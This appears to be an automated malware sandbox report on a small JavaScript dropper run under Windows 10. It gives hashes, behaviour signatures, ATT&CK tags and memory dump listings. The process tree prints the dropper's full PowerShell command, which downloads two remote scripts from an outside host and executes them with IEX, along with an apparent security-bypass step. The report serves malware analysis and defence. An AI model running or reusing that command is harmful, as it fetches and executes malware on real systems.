5502cc5382808703741bab1ece9fdfcf6d9a285df836fd79ea0539dc6adc7c5d

Analysis

max time kernel
190s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
15/04/2024, 18:04

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General

Target

selliformBJj.js
Size

1KB
MD5

07a0e9b13f01dd499410c47f307df342
SHA1

7b1b11726a212528009861b6231e44b2d231a605
SHA256

5502cc5382808703741bab1ece9fdfcf6d9a285df836fd79ea0539dc6adc7c5d
SHA512

f9710132a793a9709f5779c0c34376d0b1ef66723bde42271912bf80d87889b1bbc13ff6c179ba00b4f121deafff59a1f61dd54a1c0f404523de0ae4fee08ec5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	524	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
524	powershell.exe
524	powershell.exe
524	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	524	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3760 wrote to memory of 524	3760	wscript.exe	73
PID 3760 wrote to memory of 524	3760	wscript.exe	73
PID 3760 wrote to memory of 524	3760	wscript.exe	73

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\selliformBJj.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7zDAPOI3NY9Z'; IEX(IWR -UseBasicParsing 'https://prayas.co/assets/prodigya7Oi.ps1'); $f.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://prayas.co/assets/sheilingUe02.ps1')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dy0h2e32.fzx.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/524-7-0x0000000007290000-0x00000000078B8000-memory.dmp

Filesize
6.2MB

Download
memory/524-13-0x0000000007F70000-0x0000000007FBB000-memory.dmp

Filesize
300KB

Download
memory/524-6-0x0000000006C50000-0x0000000006C60000-memory.dmp

Filesize
64KB

Download
memory/524-3-0x0000000002E80000-0x0000000002EB6000-memory.dmp

Filesize
216KB

Download
memory/524-8-0x00000000071A0000-0x00000000071C2000-memory.dmp

Filesize
136KB

Download
memory/524-9-0x00000000079A0000-0x0000000007A06000-memory.dmp

Filesize
408KB

Download
memory/524-5-0x0000000006C50000-0x0000000006C60000-memory.dmp

Filesize
64KB

Download
memory/524-10-0x00000000078C0000-0x0000000007926000-memory.dmp

Filesize
408KB

Download
memory/524-12-0x0000000007B90000-0x0000000007BAC000-memory.dmp

Filesize
112KB

Download
memory/524-11-0x0000000007BE0000-0x0000000007F30000-memory.dmp

Filesize
3.3MB

Download
memory/524-14-0x0000000008350000-0x00000000083C6000-memory.dmp

Filesize
472KB

Download
memory/524-4-0x0000000073E40000-0x000000007452E000-memory.dmp

Filesize
6.9MB

Download
memory/524-33-0x0000000009AF0000-0x000000000A168000-memory.dmp

Filesize
6.5MB

Download
memory/524-34-0x0000000009090000-0x00000000090AA000-memory.dmp

Filesize
104KB

Download
memory/524-35-0x0000000006C50000-0x0000000006C60000-memory.dmp

Filesize
64KB

Download
memory/524-57-0x0000000073E40000-0x000000007452E000-memory.dmp

Filesize
6.9MB

Download